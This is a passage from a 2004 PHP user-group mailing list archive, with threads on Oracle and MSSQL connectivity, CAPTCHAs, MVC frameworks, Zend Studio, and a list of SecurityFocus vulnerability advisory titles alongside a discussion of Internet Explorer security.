[nycphp-talk] connecting to oracle w/ php In-Reply-To: <20040623163124.GA16790@panix.com> References: <40D84727.5090909@tdavidvogel.com> <40D8AB6C.2070006@spacemonkeylabs.com> <20040623050127.GA655@panix.com> <40D9AEBC.9010008@tdavidvogel.com> <20040623163124.GA16790@panix.com> Message-ID: <40D9B276.3050202@tdavidvogel.com> $dsn = 'oci8://user:passwd at tcp+132.198.217.254:1521/ORACLEGOLD'; $db = DB::connect($dsn); ORACLEGOLD is the service name I tried it with the SID as well to no avail. I don't think the server tnsnames not having a record for my oracle server is the problem we tried adding it and it behaved the same way. I probably should get it put back in though so I wouldn't need the whole connection string unfortunatley that's easier said then done due to the people involved, ain't beaurocracy grand. thanks, Dave Daniel Convissor wrote: >Hi David: > >On Wed, Jun 23, 2004 at 12:24:28PM -0400, David Vogel wrote: > > >>I haven't been able to get PEAR::DB to work because the server I'm >>connecting to isn't in tnsnames on the webserver >> >> > >Perhaps that's the source of your delay? > > > > >>Is there a way to specify the full string w/ PEAR::DB? >> >> > >Post the code you're using to connect. > >--Dan > > > From ajai at bitblit.net Wed Jun 23 12:51:29 2004 From: ajai at bitblit.net (Ajai Khattri) Date: Wed, 23 Jun 2004 12:51:29 -0400 Subject: [nycphp-talk] PHP & MSSQL In-Reply-To: References: Message-ID: <40D9B511.5090306@bitblit.net> Rafi Sheikh wrote: >I also have a need for a pointer in terms of what is needed and which >options to recompile PHP --with mssql. I looked at Freetds but not sure, >can any one point me to a step by step article or knowledge base > >Using: >Apache 1.3.29 >PHP 4.3.4 >On AIX 5.1 > I refuse to believe that you couldn't find this using Google... -- Aj. Systems Administrator / Developer From phillip.powell at adnet-sys.com Wed Jun 23 13:03:01 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Wed, 23 Jun 2004 13:03:01 -0400 Subject: [nycphp-talk] PHP & MSSQL In-Reply-To: References: Message-ID: <40D9B7C5.4080908@adnet-sys.com> Rafi Sheikh wrote: >I also have a need for a pointer in terms of what is needed and which >options to recompile PHP --with mssql. I looked at Freetds but not sure, >can any one point me to a step by step article or knowledge base > >Using: >Apache 1.3.29 >PHP 4.3.4 >On AIX 5.1 > >TIA > > >This e-mail, including attachments, may include confidential and/or >proprietary information, and may be used only by the person or entity to >which it is addressed. If the reader of this e-mail is not the intended >recipient or his or her authorized agent, the reader is hereby notified that >any dissemination, distribution or copying of this e-mail is prohibited. If >you have received this e-mail in error, please notify the sender by replying >to this message and delete this e-mail immediately. >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > Did you look into the MS SQL commands that PHP currently supports, such as mssql_connect(), etc.? Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From danielc at analysisandsolutions.com Wed Jun 23 13:15:21 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Wed, 23 Jun 2004 13:15:21 -0400 Subject: [nycphp-talk] connecting to oracle w/ php In-Reply-To: <40D9B276.3050202@tdavidvogel.com> References: <40D84727.5090909@tdavidvogel.com> <40D8AB6C.2070006@spacemonkeylabs.com> <20040623050127.GA655@panix.com> <40D9AEBC.9010008@tdavidvogel.com> <20040623163124.GA16790@panix.com> <40D9B276.3050202@tdavidvogel.com> Message-ID: <20040623171521.GA27399@panix.com> On Wed, Jun 23, 2004 at 12:40:22PM -0400, David Vogel wrote: > $dsn = 'oci8://user:passwd at tcp+132.198.217.254:1521/ORACLEGOLD'; You mentioned using your own PHP scripts that connect to Oracle. I want to see that connection info. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From jsiegel1 at optonline.net Wed Jun 23 13:35:06 2004 From: jsiegel1 at optonline.net (Jeff Siegel) Date: Wed, 23 Jun 2004 13:35:06 -0400 Subject: [nycphp-talk] can anyone recommend a good captcha? In-Reply-To: <40D9ADC3.9070303@ceruleansky.com> References: <40D9ADC3.9070303@ceruleansky.com> Message-ID: <40D9BF4A.5060008@optonline.net> You may get some ideas from here: http://zend.com/zend/tut/tutorial-mehmet1.php Jeff S. Jayesh Sheth wrote: > Hello, > > I have implemented an ASCII-art based CAPTCHA system to prevent my Wiki > (tavi.sourceforge.net based) from being spammed by spambots. > > I have a post and code available on my weblog: > http://www.moztips.com/index.php?id=222 > > I have used some external class(es) for the generation of ASCII art text > (through the use of Figlet fonts) and other things. > > If my patch files don't make sense, please feel free to ask for a > classification system. > > You can see an example of the code in action, but going to the following > page and click on the "Edit this document" link on the bottom: > > http://www.moztips.com/wiki/index.pcgi?page=SandBox > > I have also implemented a logging mechanism that logs who made a mistake > while entering a code, and when that mistake occured. > > Best Regards, > - Jay > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From d at tdavidvogel.com Wed Jun 23 13:51:58 2004 From: d at tdavidvogel.com (David Vogel) Date: Wed, 23 Jun 2004 13:51:58 -0400 Subject: [nycphp-talk] connecting to oracle w/ php In-Reply-To: <20040623171521.GA27399@panix.com> References: <40D84727.5090909@tdavidvogel.com> <40D8AB6C.2070006@spacemonkeylabs.com> <20040623050127.GA655@panix.com> <40D9AEBC.9010008@tdavidvogel.com> <20040623163124.GA16790@panix.com> <40D9B276.3050202@tdavidvogel.com> <20040623171521.GA27399@panix.com> Message-ID: <40D9C33E.5000800@tdavidvogel.com> oh sorry, I thought you were wondering about the PEAR part. $db = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP) (HOST = 132.198.217.254)(PORT=1521)) (CONNECT_DATA= (SID = ORCL) ))"; $c = OCILogon('USER', 'PSSWD', $db); Daniel Convissor wrote: >On Wed, Jun 23, 2004 at 12:40:22PM -0400, David Vogel wrote: > > >>$dsn = 'oci8://user:passwd at tcp+132.198.217.254:1521/ORACLEGOLD'; >> >> > >You mentioned using your own PHP scripts that connect to Oracle. I want >to see that connection info. > >--Dan > > > From jonbaer at jonbaer.net Wed Jun 23 13:31:42 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Wed, 23 Jun 2004 13:31:42 -0400 Subject: [nycphp-talk] JRE 1.5 + Zend Studio 3.5? In-Reply-To: <40D9BF4A.5060008@optonline.net> References: <40D9ADC3.9070303@ceruleansky.com> <40D9BF4A.5060008@optonline.net> Message-ID: <20040623173142.GA11279@jonbaer.net> does anyone know if you can use JRE 1.5 with the new Zend Studio? i attempted to symlink it and it appears to stall (read decent reviews on 1.5 in Linux Format this week) and the Swing apps appear to (by miracle) run alot faster than previous runtimes. however i beleive its still in beta ... the studio seems to recognize all methods throw down from interfaces + subclasses for php5 smoothly now ... i also like the support for ssh - was this in previous versions? - jon -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From danielc at analysisandsolutions.com Wed Jun 23 14:18:13 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Wed, 23 Jun 2004 14:18:13 -0400 Subject: [nycphp-talk] connecting to oracle w/ php In-Reply-To: <40D9C33E.5000800@tdavidvogel.com> References: <40D84727.5090909@tdavidvogel.com> <40D8AB6C.2070006@spacemonkeylabs.com> <20040623050127.GA655@panix.com> <40D9AEBC.9010008@tdavidvogel.com> <20040623163124.GA16790@panix.com> <40D9B276.3050202@tdavidvogel.com> <20040623171521.GA27399@panix.com> <40D9C33E.5000800@tdavidvogel.com> Message-ID: <20040623181812.GA14178@panix.com> Hi David: On Wed, Jun 23, 2004 at 01:51:58PM -0400, David Vogel wrote: > > $db = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP) > (HOST = 132.198.217.254)(PORT=1521)) > (CONNECT_DATA= > (SID = ORCL) > ))"; > $c = OCILogon('USER', 'PSSWD', $db); To make that fly in PEAR DB, connect using an array for the DSN and put that $db stuff in the 'hostspec' element. http://pear.php.net/manual/en/package.database.db.intro-connect.php Not that it'll solve your problem. Have you checked groups.google.com? http://groups.google.com/groups?group=comp.databases.oracle Enter the search terms "connect delay," select the "Search only in comp.databases.oracle.*" radio button and do the search. I guarantee there will be lots of results and you're likely to find your answer. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From d at tdavidvogel.com Wed Jun 23 14:19:16 2004 From: d at tdavidvogel.com (David Vogel) Date: Wed, 23 Jun 2004 14:19:16 -0400 Subject: [nycphp-talk] connecting to oracle w/ php In-Reply-To: <20040623181812.GA14178@panix.com> References: <40D84727.5090909@tdavidvogel.com> <40D8AB6C.2070006@spacemonkeylabs.com> <20040623050127.GA655@panix.com> <40D9AEBC.9010008@tdavidvogel.com> <20040623163124.GA16790@panix.com> <40D9B276.3050202@tdavidvogel.com> <20040623171521.GA27399@panix.com> <40D9C33E.5000800@tdavidvogel.com> <20040623181812.GA14178@panix.com> Message-ID: <40D9C9A4.2090305@tdavidvogel.com> Thanks again for your help. Dave Daniel Convissor wrote: >Hi David: > >On Wed, Jun 23, 2004 at 01:51:58PM -0400, David Vogel wrote: > > >>$db = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP) >> (HOST = 132.198.217.254)(PORT=1521)) >> (CONNECT_DATA= >> (SID = ORCL) >> ))"; >>$c = OCILogon('USER', 'PSSWD', $db); >> >> > >To make that fly in PEAR DB, connect using an array for the DSN and put >that $db stuff in the 'hostspec' element. > >http://pear.php.net/manual/en/package.database.db.intro-connect.php > >Not that it'll solve your problem. > >Have you checked groups.google.com? >http://groups.google.com/groups?group=comp.databases.oracle >Enter the search terms "connect delay," select the "Search only in >comp.databases.oracle.*" radio button and do the search. I guarantee >there will be lots of results and you're likely to find your answer. > >--Dan > > > From danielc at analysisandsolutions.com Wed Jun 23 14:23:16 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Wed, 23 Jun 2004 14:23:16 -0400 Subject: [nycphp-talk] connecting to oracle w/ php In-Reply-To: <40D9C9A4.2090305@tdavidvogel.com> References: <40D84727.5090909@tdavidvogel.com> <40D8AB6C.2070006@spacemonkeylabs.com> <20040623050127.GA655@panix.com> <40D9AEBC.9010008@tdavidvogel.com> <20040623163124.GA16790@panix.com> <40D9B276.3050202@tdavidvogel.com> <20040623171521.GA27399@panix.com> <40D9C33E.5000800@tdavidvogel.com> <20040623181812.GA14178@panix.com> <40D9C9A4.2090305@tdavidvogel.com> Message-ID: <20040623182315.GA15984@panix.com> On Wed, Jun 23, 2004 at 02:19:16PM -0400, David Vogel wrote: > Thanks again for your help. No problem. Hope it works out for you. If it does, please do let us know what the issue was and how you solved it. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From kushner at gmail.com Wed Jun 23 14:58:59 2004 From: kushner at gmail.com (Daniel Kushner) Date: Wed, 23 Jun 2004 14:58:59 -0400 Subject: [nycphp-talk] JRE 1.5 + Zend Studio 3.5? In-Reply-To: <20040623173142.GA11279@jonbaer.net> References: <40D9ADC3.9070303@ceruleansky.com> <40D9BF4A.5060008@optonline.net> <20040623173142.GA11279@jonbaer.net> Message-ID: <7ac626ed0406231158180d04c@mail.gmail.com> > does anyone know if you can use JRE 1.5 with the new Zend Studio? i > attempted to symlink it and it appears to stall (read decent reviews on > 1.5 in Linux Format this week) and the Swing apps appear to (by miracle) > run alot faster than previous runtimes. however i beleive its still in > beta ... I would suggest sending an email to ide at zend.com (although they might throw you to the online support system) ;) > the studio seems to recognize all methods throw down from interfaces + > subclasses for php5 smoothly now ... i also like the support for ssh - was > this in previous versions? The SSH is new in version 3.5 and a very welcomed feature ! Best, Daniel From jeff at newnewmedia.com Wed Jun 23 15:09:32 2004 From: jeff at newnewmedia.com (jeff at newnewmedia.com) Date: Wed, 23 Jun 2004 15:09:32 -0400 (EDT) Subject: [nycphp-talk] (no subject) Message-ID: <14553.69.138.131.166.1088017772.squirrel@www.newnewmedia.com> Has anyone used Phrame, php.MVC, or some other MVC framework with PHP 5 yet? I started to use Phrame, then realized that it was not PHP 5 compatable due to the new way it handles XML. I was thinking about rewriting it, but I just wanted to gather some opinions first. From Patrick.Lambert at noggin.com Wed Jun 23 15:09:33 2004 From: Patrick.Lambert at noggin.com (Lambert, Patrick) Date: Wed, 23 Jun 2004 15:09:33 -0400 Subject: [nycphp-talk] connecting to oracle w/ php Message-ID: <61F3C80783230942BCB082D89E6F1EB303B204E8@nickny2.viacom.com> Are you able to connect to the Oracle server via sqlplus from your Web server? p. > Message: 10 > Date: Wed, 23 Jun 2004 13:51:58 -0400 > From: David Vogel > Subject: Re: [nycphp-talk] connecting to oracle w/ php > To: NYPHP Talk > Message-ID: <40D9C33E.5000800 at tdavidvogel.com> > Content-Type: text/plain; charset=ISO-8859-1; format=flowed > > oh sorry, I thought you were wondering about the PEAR part. > > $db = "(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP) > (HOST = 132.198.217.254)(PORT=1521)) > (CONNECT_DATA= > (SID = ORCL) > ))"; > > $c = OCILogon('USER', 'PSSWD', $db); > > > > Daniel Convissor wrote: > > >On Wed, Jun 23, 2004 at 12:40:22PM -0400, David Vogel wrote: > > > > > >>$dsn = 'oci8://user:passwd at tcp+132.198.217.254:1521/ORACLEGOLD'; > >> > >> > > > >You mentioned using your own PHP scripts that connect to Oracle. I want > >to see that connection info. > > > >--Dan > > > > > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From dmintz at davidmintz.org Wed Jun 23 15:30:34 2004 From: dmintz at davidmintz.org (David Mintz) Date: Wed, 23 Jun 2004 15:30:34 -0400 (EDT) Subject: [nycphp-talk] Karma Discounts on Security Seminar In-Reply-To: <002c01c4592d$c4973220$e98d3818@oberon1> References: <002c01c4592d$c4973220$e98d3818@oberon1> Message-ID: Tim, why not also require payment in advance and establish a reasonable refund policy? Then you get instant karmic retribution for not showing ...in a sense. On Wed, 23 Jun 2004, Tim Gales wrote: > So my new idea is 'karma discounts'. > > Here is how it will work: > If you use the information you gain from > the seminars in 3 hours of contribution to > a participating open source imitative, you > can receive up to a 50 percent discount on > the price of admission to the upcoming > seminar (and future seminars). > > The discounts will be ongoing in the > future -- i.e. you don't have to wait > until the last minute and see if there > will be vacant seats (like flying standby > or something like that). --- David Mintz http://davidmintz.org/ "Anybody else got a problem with Webistics?" -- Sopranos 24:17 From jonbaer at jonbaer.net Wed Jun 23 17:50:21 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Wed, 23 Jun 2004 17:50:21 -0400 Subject: [nycphp-talk] (no subject) In-Reply-To: <14553.69.138.131.166.1088017772.squirrel@www.newnewmedia.com> References: <14553.69.138.131.166.1088017772.squirrel@www.newnewmedia.com> Message-ID: <20040623215021.GA28803@jonbaer.net> What would be pretty nice is a Struts like application for PHP5 ... basically all your mappings are in XML and sit atop a directory structure (would probably be 10x easier w/ PHP5's XML facilities. Just an idea ... - Jon On Wed, Jun 23, 2004 at 03:09:32PM -0400, jeff at newnewmedia.com wrote: > Has anyone used Phrame, php.MVC, or some other MVC framework with PHP > 5 yet? I started to use Phrame, then realized that it was not PHP 5 > compatable due to the new way it handles XML. I was thinking about > rewriting it, but I just wanted to gather some opinions first. > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From tgales at tgaconnect.com Wed Jun 23 18:30:07 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Wed, 23 Jun 2004 18:30:07 -0400 Subject: [nycphp-talk] (no subject) In-Reply-To: <20040623215021.GA28803@jonbaer.net> Message-ID: <005c01c45971$a35a7f10$e98d3818@oberon1> You might find this interesting http://wact.sourceforge.net/index.php/Struts T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com > -----Original Message----- > From: talk-bounces at lists.nyphp.org > [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Jon Baer > Sent: Wednesday, June 23, 2004 5:50 PM > To: NYPHP Talk > Subject: Re: [nycphp-talk] (no subject) > > > What would be pretty nice is a Struts like application for > PHP5 ... basically all your mappings are in XML and sit > atop a directory structure (would probably be 10x easier w/ > PHP5's XML facilities. Just an idea ... > > - Jon > > On Wed, Jun 23, 2004 at 03:09:32PM -0400, jeff at newnewmedia.com wrote: > > Has anyone used Phrame, php.MVC, or some other MVC > framework with PHP > > 5 yet? I started to use Phrame, then realized that it was not PHP 5 > > compatable due to the new way it handles XML. I was thinking about > > rewriting it, but I just wanted to gather some opinions first. > > > > > > _______________________________________________ > > talk mailing list > > talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk > > -- > pgp key: http://www.jonbaer.net/jonbaer.asc > fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 > > --- > Incoming mail passed > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.705 / Virus Database: 461 - Release Date: 6/12/2004 > > > From jonbaer at jonbaer.net Wed Jun 23 18:05:05 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Wed, 23 Jun 2004 18:05:05 -0400 Subject: [nycphp-talk] (no subject) In-Reply-To: <20040623215021.GA28803@jonbaer.net> References: <14553.69.138.131.166.1088017772.squirrel@www.newnewmedia.com> <20040623215021.GA28803@jonbaer.net> Message-ID: <20040623220505.GA28947@jonbaer.net> I think I should have really mind my business and looked first beforehand, Phrame *is* "struts-like" ... Anyways, another I came across ... http://wact.sourceforge.net And specifically ... http://wact.sourceforge.net/index.php/MvcFrameworksWrittenInPhp - Jon On Wed, Jun 23, 2004 at 05:50:21PM -0400, Jon Baer wrote: > What would be pretty nice is a Struts like application for PHP5 ... basically all your mappings are in XML and sit > atop a directory structure (would probably be 10x easier w/ PHP5's XML facilities. Just an idea ... > > - Jon > > On Wed, Jun 23, 2004 at 03:09:32PM -0400, jeff at newnewmedia.com wrote: > > Has anyone used Phrame, php.MVC, or some other MVC framework with PHP > > 5 yet? I started to use Phrame, then realized that it was not PHP 5 > > compatable due to the new way it handles XML. I was thinking about > > rewriting it, but I just wanted to gather some opinions first. > > > > > > _______________________________________________ > > talk mailing list > > talk at lists.nyphp.org > > http://lists.nyphp.org/mailman/listinfo/talk > > -- > pgp key: http://www.jonbaer.net/jonbaer.asc > fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From danielc at analysisandsolutions.com Thu Jun 24 02:12:42 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Thu, 24 Jun 2004 02:12:42 -0400 Subject: [nycphp-talk] several security focus newsletters... Message-ID: <20040624061242.GA1667@panix.com> Hi Folks: Pardon the delay. I've been busy cleaning up and improving pear.php.net. --Dan ================================ SecurityFocus Newsletter #251 e107 Website System User.PHP HTML Injection Vulnerability http://www.securityfocus.com/bid/10405 cPanel Local Privilege Escalation Vulnerability http://www.securityfocus.com/bid/10407 Pimentech PimenGest2 RowLatex.inc.PHP Information Disclosure... http://www.securityfocus.com/bid/10408 PHP Input/Ouput Wrapper Remote Include Function Command Exec... http://www.securityfocus.com/bid/10427 [This is an utterly stupid report. I sent an email to SF saying so. --Dan] JPortal Print.php SQL Injection Vulnerability http://www.securityfocus.com/bid/10430 ================================ SecurityFocus Newsletter #252 PHPoto Picture_view Script Unauthorized Access Vulnerability http://www.securityfocus.com/bid/10431 Land Down Under BBCode HTML Injection Vulnerability http://www.securityfocus.com/bid/10435 e107 Website System Multiple Vulnerabilities http://www.securityfocus.com/bid/10436 SquirrelMail Email Header HTML Injection Vulnerability http://www.securityfocus.com/bid/10439 PHP-Nuke Direct Script Access Security Bypass Vulnerability http://www.securityfocus.com/bid/10447 Gallery Authentication Bypass Vulnerability http://www.securityfocus.com/bid/10451 Mail Manage EX MMEX Script Settings Parameter Remote PHP Fil... http://www.securityfocus.com/bid/10457 Slackware Linux PHP Packages Insecure Linking Configuration ... http://www.securityfocus.com/bid/10461 ================================ SecurityFocus Newsletter #253 PHP Microsoft Windows Shell Escape Functions Command Executi... http://www.securityfocus.com/bid/10471 [This is real. Make sure you've upgraded to 4.3.7. --Dan] PHP-Nuke Reviews Module Cross-Site Scripting Vulnerability http://www.securityfocus.com/bid/10493 Invision Power Board SSI.PHP SQL Injection Vulnerability http://www.securityfocus.com/bid/10511 PHP-Nuke Multiple Input Validation Vulnerabilities http://www.securityfocus.com/bid/10524 ================================ SecurityFocus Newsletter #254 Horde Chora Viewer Remote Command Execution Vulnerability http://www.securityfocus.com/bid/10531 Invision Power Board SSI.PHP Cross-Site Scripting Vulnerabil... http://www.securityfocus.com/bid/10539 Pivot Remote module_db.PHP File Include Vulnerability http://www.securityfocus.com/bid/10553 PHPHeaven PHPMyChat Multiple Remote Vulnerabilities http://www.securityfocus.com/bid/10556 Invision Power Board Potential IP Address Spoofing Vulnerabi... http://www.securityfocus.com/bid/10559 -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From danielc at analysisandsolutions.com Thu Jun 24 02:45:27 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Thu, 24 Jun 2004 02:45:27 -0400 Subject: [nycphp-talk] time to dump IE Message-ID: <20040624064526.GA6856@panix.com> Hi Folks: Please take a moment to check this out: http://www.securityfocus.com/columnists/249 Then take another moment and fire off an email to your friends and clients. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From shiflett at php.net Thu Jun 24 02:50:55 2004 From: shiflett at php.net (Chris Shiflett) Date: Wed, 23 Jun 2004 23:50:55 -0700 (PDT) Subject: [nycphp-talk] time to dump IE In-Reply-To: <20040624064526.GA6856@panix.com> Message-ID: <20040624065055.35226.qmail@web52801.mail.yahoo.com> --- Daniel Convissor wrote: > Please take a moment to check this out: > http://www.securityfocus.com/columnists/249 Nice article. There's one big point that he gets wrong, and that is the suggestion that Microsoft fixes the security vulnerabilities in IE. I wish I could find the link (can anyone help me out here?), but there is a site that keeps a list of the unpatched vulnerabilities in the latest IE, and it always has plenty (50 or more). If anyone knows the URL, it might be nice to pass it along to the author. My favorite quote from this article: "You know, fool me once, shame on you; fool me twice, shame on me. Who's shamed when it's "fool me the 432nd time"? Who's the fool?" The sad truth can be funny sometimes. :-) Chris ===== Chris Shiflett - http://shiflett.org/ PHP Security - O'Reilly Coming Fall 2004 HTTP Developer's Handbook - Sams http://httphandbook.org/ PHP Community Site http://phpcommunity.org/ From danielc at analysisandsolutions.com Thu Jun 24 03:17:40 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Thu, 24 Jun 2004 03:17:40 -0400 Subject: [nycphp-talk] time to dump IE In-Reply-To: <20040624065055.35226.qmail@web52801.mail.yahoo.com> References: <20040624064526.GA6856@panix.com> <20040624065055.35226.qmail@web52801.mail.yahoo.com> Message-ID: <20040624071739.GA11844@panix.com> Howdy: On Wed, Jun 23, 2004 at 11:50:55PM -0700, Chris Shiflett wrote: > > There's one big point that he gets wrong, and that is the suggestion that > Microsoft fixes the security vulnerabilities in IE. I thought the same thing. > "You know, fool me once, shame on you; fool me twice, shame on me. Who's > shamed when it's "fool me the 432nd time"? Who's the fool?" > > The sad truth can be funny sometimes. :-) Absolutely! I really enjoyed that line. --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From danielc at analysisandsolutions.com Thu Jun 24 03:54:41 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Thu, 24 Jun 2004 03:54:41 -0400 Subject: [nycphp-talk] new pear db article in php magazine Message-ID: <20040624075441.GB17663@panix.com> Howdy: I wrote an article, "PEAR DB: Ripe for the Picking," for the 04.2004 issue of PHP Magazine. The new issue is out and the article is also available online at http://www.phpmag.net/itr/online_artikel/psecom,id,585,nodeid,114.html It's an enhanced version of the presentation I gave at a NYPHP meeting a few months ago. Enjoy, --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From mitchy at spacemonkeylabs.com Thu Jun 24 08:05:19 2004 From: mitchy at spacemonkeylabs.com (Mitch Pirtle) Date: Thu, 24 Jun 2004 08:05:19 -0400 Subject: [nycphp-talk] new pear db article in php magazine In-Reply-To: <20040624075441.GB17663@panix.com> References: <20040624075441.GB17663@panix.com> Message-ID: <40DAC37F.2060005@spacemonkeylabs.com> Daniel Convissor wrote: >Howdy: > >I wrote an article, "PEAR DB: Ripe for the Picking," for the 04.2004 issue >of PHP Magazine. The new issue is out and the article is also available >online at >http://www.phpmag.net/itr/online_artikel/psecom,id,585,nodeid,114.html > >It's an enhanced version of the presentation I gave at a NYPHP meeting a >few months ago. > > And a very good one at that! I'm already referencing it in a new article about using HTML_QuickForm and DB to upload csv files that update your database... ;) -- Mitch From tgales at tgaconnect.com Thu Jun 24 08:06:37 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Thu, 24 Jun 2004 08:06:37 -0400 Subject: [nycphp-talk] time to dump IE In-Reply-To: <20040624065055.35226.qmail@web52801.mail.yahoo.com> Message-ID: <000201c459e3$b41db2f0$e98d3818@oberon1> > -----Original Message----- > From: talk-bounces at lists.nyphp.org > [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Chris Shiflett > Sent: Thursday, June 24, 2004 2:51 AM > To: NYPHP Talk > Subject: Re: [nycphp-talk] time to dump IE > > > --- Daniel Convissor wrote: > > Please take a moment to check this out: > > http://www.securityfocus.com/columnists/249 > > Nice article. > > There's one big point that he gets wrong, and that is the > suggestion that Microsoft fixes the security vulnerabilities > in IE. I wish I could find the link (can anyone help me out > here?), I don't know if this is what you are referring to; statistically the chances are rather poor -- there are thousands of links to articles on the web which would substantiate the proposition that MS does not fix security holes in I.E. in a timely fashion. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From jonbaer at jonbaer.net Thu Jun 24 07:24:02 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Thu, 24 Jun 2004 07:24:02 -0400 Subject: [nycphp-talk] time to dump IE In-Reply-To: <20040624064526.GA6856@panix.com> References: <20040624064526.GA6856@panix.com> Message-ID: <20040624112402.GB2140@jonbaer.net> I think they should go to jail ... if you look up fraud in the dictionary and apply it to IE and what execs say about IE that definition is smack dab right there ... "An intentional perversion of truth for the purpose of obtaining some valuable thing or promise from another." Bablefish ver. 1.3 translation: "Let me tell people I applied patches, when I really didn't so I can say IE is the best browser out there and continue to integrate more OS crap into an already unsafe environment for profit." I guess those mile-long EULAs do work for something. I really hope the backlash of application incompatibilties when SP2 is released is so bad that people just drop Windows altogether. I wonder if PHP is SP2 ready? - Jon On Thu, Jun 24, 2004 at 02:45:27AM -0400, Daniel Convissor wrote: > Hi Folks: > > Please take a moment to check this out: > http://www.securityfocus.com/columnists/249 > > Then take another moment and fire off an email to your friends and > clients. -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From tgales at tgaconnect.com Thu Jun 24 08:23:07 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Thu, 24 Jun 2004 08:23:07 -0400 Subject: [nycphp-talk] time to dump IE In-Reply-To: <20040624112402.GB2140@jonbaer.net> Message-ID: <000c01c459e6$02100150$e98d3818@oberon1> Jon Baer writes: > > > I think they should go to jail ... if you look up fraud in > the dictionary and > apply it to IE and what execs say about IE that definition is > smack dab right > there ... > > "An intentional perversion of truth for the purpose of > obtaining some valuable > thing or promise from another." You should read some of the tripe entitled (something like): "The Truth About Open Source Software" from MS. > > I wonder if PHP is SP2 ready? > I think they are fixing some security flaws in it. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From tgales at tgaconnect.com Thu Jun 24 08:28:13 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Thu, 24 Jun 2004 08:28:13 -0400 Subject: [nycphp-talk] time to dump IE In-Reply-To: <000201c459e3$b41db2f0$e98d3818@oberon1> Message-ID: <000d01c459e6$b8af8fc0$e98d3818@oberon1> bad link (sorry): > should have been: http://www.securityfocus.com/archive/1/363338/2004-05-11/2004-05-17/0 T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From jonbaer at jonbaer.net Thu Jun 24 07:34:27 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Thu, 24 